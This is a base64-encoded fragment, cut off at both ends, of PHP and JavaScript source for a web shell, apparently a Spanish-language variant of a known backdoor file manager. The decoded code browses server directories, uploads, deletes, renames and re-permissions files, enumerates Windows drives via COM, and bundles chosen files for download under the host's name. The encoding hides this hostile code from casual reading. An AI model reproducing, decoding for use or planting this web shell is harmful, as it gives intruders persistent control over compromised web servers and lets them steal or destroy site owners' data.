4nLCc7DQoNCgkJCX0NCg0KCQkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCg0KCQkJJGRsPWV4cGxvZGUoJywnLCRkZmlsZXMpOw0KDQoJCQkkemlwPW5ldyBQSFBaaXAoJGRsKTsNCg0KCQkJJGNvZGU9JHppcC0+b3V0Ow0KDQoJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQoNCgkJCWhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsNCg0KCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOw0KDQoJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7ZmlsZW5hbWU9Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19GaWxlcy50YXIuZ3onKTsNCg0KCQkJZWNobyAkY29kZTsNCg0KCQkJZXhpdDsNCg0KCQl9IGVsc2Ugew0KDQoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7DQoNCgkJaWYgKCRkbCkgew0KDQoJCQkkZGZpbGVzPScnOw0KDQoJCQkkc3VjYyA9ICRmYWlsID0gMDsNCg0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCg0KCQkJCWlmIChAdW5saW5rKCRmaWxlcGF0aCkpIHsNCg0KCQkJCQkkc3VjYysrOw0KDQoJCQkJfSBlbHNlIHsNCg0KCQkJCQkkZmFpbCsrOw0KDQoJCQkJfQ0KDQoJCQl9DQoNCgkJCW0oJ0RlbGV0ZWQgZmlsZSBoYXZlIGZpbmlzaGVkLGNob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBmYWlsICcuJGZhaWwpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOw0KDQoJCX0NCg0KCX0NCg0KDQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7DQoNCgltYWtlaGlkZSgnbmV3ZGlybmFtZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KDQoJZm9ybWZvb3QoKTsNCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVwZXJtJykpOw0KDQoJbWFrZWhpZGUoJ25ld3Blcm0nKTsNCg0KCW1ha2VoaWRlKCdwZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KDQoJZm9ybWZvb3QoKTsNCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOw0KDQoJbWFrZWhpZGUoJ3NuYW1lJyk7DQoNCgltYWtlaGlkZSgndG9maWxlJyk7DQoNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoNCglmb3JtZm9vdCgpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVuYW1lJykpOw0KDQoJbWFrZWhpZGUoJ29sZG5hbWUnKTsNCg0KCW1ha2VoaWRlKCduZXdmaWxlbmFtZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KDQoJZm9ybWZvb3QoKTsNCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVvcGZvcm0nLCAndGFyZ2V0Jz0+J19ibGFuaycpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nKTsNCg0KCW1ha2VoaWRlKCdvcGZpbGUnKTsNCg0KCW1ha2VoaWRlKCdkaXInKTsNCg0KCWZvcm1mb290KCk7DQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidnZXRzaXplJykpOw0KDQoJbWFrZWhpZGUoJ2dldGRpcicpOw0KDQoJbWFrZWhpZGUoJ2RpcicpOw0KDQoJZm9ybWZvb3QoKTsNCg0KDQoNCgkkZnJlZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJG5vd3BhdGgpOw0KDQoJISRmcmVlICYmICRmcmVlID0gMDsNCg0KCSRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkbm93cGF0aCk7DQoNCgkhJGFsbCAmJiAkYWxsID0gMDsNCg0KCSR1c2VkID0gJGFsbC0kZnJlZTsNCg0KCSR1c2VkX3BlcmNlbnQgPSBAcm91bmQoMTAwLygkYWxsLyRmcmVlKSwyKTsNCg0KCXAoJzxoMj5BcmNoaXZvcy8vIC0gRXNwYWNpbyBlbiBkaXNjbyAnLnNpemVjb3VudCgkZnJlZSkuJyBvZiAnLnNpemVjb3VudCgkYWxsKS4nICgnLiR1c2VkX3BlcmNlbnQuJyUpPC9oMj4nKTsNCg0KDQoNCj8+DQoNCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJtYXJnaW46MTBweCAwOyI+DQoNCiAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgaWQ9ImdvZGlyIiBuYW1lPSJnb2RpciI+DQoNCiAgPHRyPg0KDQogICAgPHRkIG5vd3JhcD5SdXRhIEFjdHVhbCAoPD9waHAgZWNobyAkZGlyX3dyaXRlYWJsZTs/PiwgPD9waHAgZWNobyBnZXRDaG1vZCgkbm93cGF0aCk7Pz4pPC90ZD4NCg0KCTx0ZCB3aWR0aD0iMTAwJSI+PGlucHV0IG5hbWU9InZpZXdfd3JpdGFibGUiIHZhbHVlPSIwIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyAkbm93cGF0aDs/PiIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjEwMCU7bWFyZ2luOjAgOHB4OyI+PC90ZD4NCg0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IklSIEEgUlVUQSIgdHlwZT0ic3VibWl0Ij48L3RkPg0KDQogIDwvdHI+DQoNCiAgPC9mb3JtPg0KDQo8L3RhYmxlPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQoNCmZ1bmN0aW9uIGNyZWF0ZWRpcigpew0KDQoJdmFyIG5ld2Rpcm5hbWU7DQoNCgluZXdkaXJuYW1lID0gcHJvbXB0KCdJbmdyZXNlIGVsIG5vbWJyZSBkZWwgZGlyZWN0b3JpbzonLCAnJyk7DQoNCglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsNCg0KCSQoJ2NyZWF0ZWRpcicpLm5ld2Rpcm5hbWUudmFsdWU9bmV3ZGlybmFtZTsNCg0KCSQoJ2NyZWF0ZWRpcicpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIGZpbGVwZXJtKHBmaWxlKXsNCg0KCXZhciBuZXdwZXJtOw0KDQoJbmV3cGVybSA9IHByb21wdCgnQXJjaGl2bzonK3BmaWxlKydcbkluZ3Jlc2UgbG9zIG51ZXZvcyBhdHJpYnV0b3M6JywgJycpOw0KDQoJaWYgKCFuZXdwZXJtKSByZXR1cm47DQoNCgkkKCdmaWxlcGVybScpLm5ld3Blcm0udmFsdWU9bmV3cGVybTsNCg0KCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7DQoNCgkkKCdmaWxlcGVybScpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsNCg0KCXZhciB0b2ZpbGU7DQoNCgl0b2ZpbGUgPSBwcm9tcHQoJ1J1dGEgYWN0dWFsOicrc25hbWUrJ1xuSW5ncmVzZSBsYSBydXRhIGRvbmRlIHNlIGNvcGlhcmE6JywgJycpOw0KDQoJaWYgKCF0b2ZpbGUpIHJldHVybjsNCg0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCg0KCSQoJ2NvcHlmaWxlJykuc25hbWUudmFsdWU9c25hbWU7DQoNCgkkKCdjb3B5ZmlsZScpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIHJlbmFtZShvbGRuYW1lKXsNCg0KCXZhciBuZXdmaWxlbmFtZTsNCg0KCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdOb21icmUgYWN0dWFsOicrb2xkbmFtZSsnXG5JbmdyZXNlIHVuIG51ZXZvIG5vbWJyZTonLCAnJyk7DQoNCglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47DQoNCgkkKCdyZW5hbWUnKS5uZXdmaWxlbmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsNCg0KCSQoJ3JlbmFtZScpLm9sZG5hbWUudmFsdWU9b2xkbmFtZTsNCg0KCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIGRvZmlsZShkb2luZyx0aGVmaWxlLG0pew0KDQoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsNCg0KCQlyZXR1cm47DQoNCgl9DQoNCgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOw0KDQoJaWYgKHRoZWZpbGUpew0KDQoJCSQoJ2ZpbGVsaXN0JykudGhlZmlsZS52YWx1ZT10aGVmaWxlOw0KDQoJfQ0KDQoJJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsNCg0KfQ0KDQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpew0KDQoJdmFyIGZpbGVuYW1lOw0KDQoJZmlsZW5hbWUgPSBwcm9tcHQoJ0luZ3Jlc2UgZWwgbm9tYnJlIGRlbCBhcmNoaXZvOicsICcnKTsNCg0KCWlmICghZmlsZW5hbWUpIHJldHVybjsNCg0KCW9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsNCg0KfQ0KDQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpew0KDQoJJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1ZT1hY3Rpb247DQoNCgkkKCdmaWxlb3Bmb3JtJykub3BmaWxlLnZhbHVlPW9wZmlsZTsNCg0KCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOw0KDQoJJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsNCg0KCWlmICh2aWV3X3dyaXRhYmxlKSB7DQoNCgkJJCgnZ29kaXInKS52aWV3X3dyaXRhYmxlLnZhbHVlPXZpZXdfd3JpdGFibGU7DQoNCgl9DQoNCgkkKCdnb2RpcicpLmRpci52YWx1ZT1kaXI7DQoNCgkkKCdnb2RpcicpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIGdldHNpemUoZ2V0ZGlyLGRpcil7DQoNCgkkKCdnZXRzaXplJykuZ2V0ZGlyLnZhbHVlPWdldGRpcjsNCg0KCSQoJ2dldHNpemUnKS5kaXIudmFsdWU9ZGlyOw0KDQoJJCgnZ2V0c2l6ZScpLnN1Ym1pdCgpOw0KDQp9DQoNCjwvc2NyaXB0Pg0KDQogIDw/cGhwDQoNCgkkZmluZHN0ciA9ICRfUE9TVFsnZmluZHN0ciddOw0KDQoJJHJlID0gJF9QT1NUWydyZSddOw0KDQoJdGJoZWFkKCk7DQoNCglwKCc8dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7bGluZS1oZWlnaHQ6MjBweDsiPicpOw0KDQoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB2YWx1ZT0iIiB0eXBlPSJmaWxlIiAvPiA8aW5wdXQgY2xhc3M9ImJ0IiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PjwvZm9ybT4nKTsNCg0KCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPldlYlJvb3Q8L2E+Jyk7DQoNCglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnLlwnKTsiPlJ1dGEgU2hlbGw8L2E+Jyk7DQoNCglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcpOyI+VmVyIHRvZG88L2E+Jyk7DQoNCglwKCcgfCBWaWV3IFdyaXRhYmxlICggPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnLFwnZGlyXCcpOyI+RGlyZWN0b3JpbzwvYT4nKTsNCg0KCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyxcJ2ZpbGVcJyk7Ij5BcmNoaXZvPC9hPiApJyk7DQoNCglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWRpcigpOyI+Q3JlYXIgRGlyZWN0b3JpbzwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij5DcmVhciBBcmNoaXZvPC9hPicpOw0KDQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCg0KCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsNCg0KCQlpZiAoJG9iaiAmJiBpc19vYmplY3QoJG9iaikgJiYgaXNfYXJyYXkoJG9iai0+RHJpdmVzKSkgew0KDQoJCQkkRHJpdmVUeXBlREIgPSBhcnJheSgwID0+ICdVbmtub3duJywxID0+ICdSZW1vdmlibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsNCg0KCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7DQoNCgkJCQlpZiAoJGRyaXZlLT5Ecml2ZVR5cGUgPT0gMikgew0KDQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztMaWJyZTonLnNpemVjb3VudCgkZHJpdmUtPkZyZWVTcGFjZSkuJyYjMTM7VGlwbzonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7DQoNCgkJCQl9IGVsc2Ugew0KDQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJUaXBvOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCg0KCQkJCX0NCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KCXAoJzxiciAvPjxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPkJ1c2NhciB0ZXh0byBlbiBhcmNoaXZvczogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0iZmluZHN0ciIgdmFsdWU9IicuJGZpbmRzdHIuJyIgdHlwZT0idGV4dCIgLz4gPGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkJ1c2NhciIgdHlwZT0ic3VibWl0IiAvPiBFeHRlbnNpb246IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9IndyaXRhYmxlZGIiIHZhbHVlPSInLiR3cml0YWJsZWRiLiciIHR5cGU9InRleHQiIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+IDxpbnB1dCBuYW1lPSJyZSIgdmFsdWU9IjEiIHR5cGU9ImNoZWNrYm94IiAnLigkcmUgPyAnY2hlY2tlZCcgOiAnJykuJyAvPiBFeHByZXNpb25lcyByZWd1bGFyZXM8L2Zvcm0+PC90ZD48L3RyPicpOw0KDQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+Tm9tYnJlPC90ZD48dGQgd2lkdGg9IjE2JSI+VWx0aW1hIG1vZGlmaWNhY2lvbjwvdGQ+PHRkIHdpZHRoPSIxMCUiPlNpemU8L3RkPjx0ZCB3aWR0aD0iMjAlIj5DaG1vZCAvIFBlcm1pc288L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY2Npb25lczwvdGQ+PC90cj4nKTsNCg0KDQoNCgkkZGlyZGF0YT1hcnJheSgpOw0KDQoJJGZpbGVkYXRhPWFycmF5KCk7DQoNCg0KDQoJaWYgKCR2aWV3X3dyaXRhYmxlID09ICdkaXInKSB7DQoNCgkJJGRpcmRhdGEgPSBHZXRXRGlyTGlzdCgkbm93cGF0aCk7DQoNCgkJJGZpbGVkYXRhID0gYXJyYXkoKTsNCg0KCX0gZWxzZWlmICgkdmlld193cml0YWJsZSA9PSAnZmlsZScpIHsNCg0KCQkkZGlyZGF0YSA9IGFycmF5KCk7DQoNCgkJJGZpbGVkYXRhID0gR2V0V0ZpbGVMaXN0KCRub3dwYXRoKTsNCg0KCX0gZWxzZWlmICgkZmluZHN0cikgew0KDQoJCSRkaXJkYXRhID0gYXJyYXkoKTsNCg0KCQkkZmlsZWRhdGEgPSBHZXRTRmlsZUxpc3QoJG5vd3BhdGgsICRmaW5kc3RyLCAkcmUpOw0KDQoJfSBlbHNlIHsNCg0KCQkvLyAmIzMxOTsmIzE4ODsmIzEyOTt/p9ImIzEyOTt/DQoNCgkJJGRpcnM9QG9wZW5kaXIoJGRpcik7DQoNCgkJd2hpbGUgKCRmaWxlPUByZWFkZGlyKCRkaXJzKSkgew0KDQoJCQkkZmlsZXBhdGg9JG5vd3BhdGguJGZpbGU7DQoNCgkJCWlmKEBpc19kaXIoJGZpbGVwYXRoKSl7DQoNCgkJCQkkZGlyZGJbJ2ZpbGVuYW1lJ109JGZpbGU7DQoNCgkJCQkkZGlyZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoNCgkJCQkkZGlyZGJbJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCg0KCQkJCSRkaXJkYlsnZGlycGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7DQoNCgkJCQkkZGlyZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsNCg0KCQkJCSRkaXJkYlsnZGlybGluayddPSRub3dwYXRoOw0KDQoJCQkJJGRpcmRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsNCg0KCQkJCSRkaXJkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOw0KDQoJCQkJJGRpcmRhdGFbXT0kZGlyZGI7DQoNCgkJCX0gZWxzZSB7CQkNCg0KCQkJCSRmaWxlZGJbJ2ZpbGVuYW1lJ109JGZpbGU7DQoNCgkJCQkkZmlsZWRiWydzaXplJ109c2l6ZWNvdW50KEBmaWxlc2l6ZSgkZmlsZXBhdGgpKTsNCg0KCQkJCSRmaWxlZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoNCgkJCQkkZmlsZWRiWydmaWxlY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOw0KDQoJCQkJJGZpbGVkYlsnZmlsZXBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOw0KDQoJCQkJJGZpbGVkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KDQoJCQkJJGZpbGVkYlsnZGlybGluayddPSRub3dwYXRoOw0KDQoJCQkJJGZpbGVkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7DQoNCgkJCQkkZmlsZWRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoNCgkJCQkkZmlsZWRhdGFbXT0kZmlsZWRiOw0KDQoJCQl9DQoNCgkJfS8vIHdoaWxlDQoNCgkJdW5zZXQoJGRpcmRiKTsNCg0KCQl1bnNldCgkZmlsZWRiKTsNCg0KCQlAY2xvc2VkaXIoJGRpcnMpOw0KDQoJfQ0KDQoJQHNvcnQoJGRpcmRhdGEpOw0KDQoJQHNvcnQoJGZpbGVkYXRhKTsNCg0KCSRkaXJfaSA9ICcwJzsNCg0KDQoNCglmb3JlYWNoKCRkaXJkYXRhIGFzICRrZXkgPT4gJGRpcmRiKXsNCg0KCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGRpcmRiWydmaWxlbmFtZSddIT0nLicpIHsNCg0KCQkJaWYoJGdldGRpciAmJiAkZ2V0ZGlyID09ICRkaXJkYlsnc2VydmVyX2xpbmsnXSkgew0KDQoJCQkJJGF0dGFjaHNpemUgPSBkaXJzaXplKCRkaXJkYlsnc2VydmVyX2xpbmsnXSk7DQoNCgkJCQkkYXR0YWNoc2l6ZSA9IGlzX251bWVyaWMoJGF0dGFjaHNpemUpID8gc2l6ZWNvdW50KCRhdHRhY2hzaXplKSA6ICdVbmtub3duJzsNCg0KCQkJfSBlbHNlIHsNCg0KCQkJCSRhdHRhY2hzaXplID0gJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z2V0c2l6ZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGRpci4nXCcpOyI+Q2FsY3VsYXI8L2E+JzsNCg0KCQkJfQ0KDQoJCQkkdGhpc2JnID0gYmcoKTsNCg0KCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KDQoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7DQoNCgkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nLiRkaXJkYlsnbXRpbWUnXS4nPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nLiRhdHRhY2hzaXplLic8L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPicpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJjaG1vZCddLic8L2E+IC8gJyk7DQoNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcnBlcm0nXS4nPC9hPicuJGRpcmRiWydmaWxlb3duZXInXS4nPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGRpclwnLFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnRXN0YSBzZWd1cm8gZGUgYm9ycmFyIDwnLiRkaXJkYlsnZmlsZW5hbWUnXS4nPj8gXFxuXFxuU2kgZWwgZGlyZWN0b3JpbyBubyBlc3RhIHZhY2lvLCB0b2RvcyBsb3MgYXJjaGl2b3Mgc2UgYm9ycmFyYW4uXCcpIj5Cb3JyYXI8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVub21icmFyPC9hPjwvdGQ+Jyk7DQoNCgkJCXAoJzwvdHI+Jyk7DQoNCgkJCSRkaXJfaSsrOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXT09Jy4uJykgew0KDQoJCQkJcCgnPHRyIGNsYXNzPScuYmcoKS4nPicpOw0KDQoJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IldpbmdkaW5ncyAzIiBzaXplPTQ+PTwvZm9udD48L3RkPjx0ZCBub3dyYXAgY29sc3Bhbj0iNSI+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuZ2V0VXBQYXRoKCRub3dwYXRoKS4nXCcpOyI+UGFyZW50IERpcmVjdG9yeTwvYT48L3RkPicpOw0KDQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KDQoNCglwKCc8dHIgYmdjb2xvcj0iI2RkZGRkZCIgc3RseWU9ImJvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDsiPjx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsNCg0KCXAoJzxmb3JtIGlkPSJmaWxlbGlzdCIgbmFtZT0iZmlsZWxpc3QiIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9InBvc3QiPicpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCg0KCW1ha2VoaWRlKCd0aGVmaWxlJyk7DQoNCgltYWtlaGlkZSgnZG9pbmcnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCSRmaWxlX2kgPSAnMCc7DQoNCg0KDQoJZm9yZWFjaCgkZmlsZWRhdGEgYXMgJGtleSA9PiAkZmlsZWRiKXsNCg0KCQlpZigkZmlsZWRiWydmaWxlbmFtZSddIT0nLi4nICYmICRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuJykgew0KDQoJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0sJycsJGZpbGVkYlsnc2VydmVyX2xpbmsnXSk7DQoNCgkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoNCgkJCXAoJzx0ZD48YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRmaWxlZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnbXRpbWUnXS4nPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nPC9hPiAvICcpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4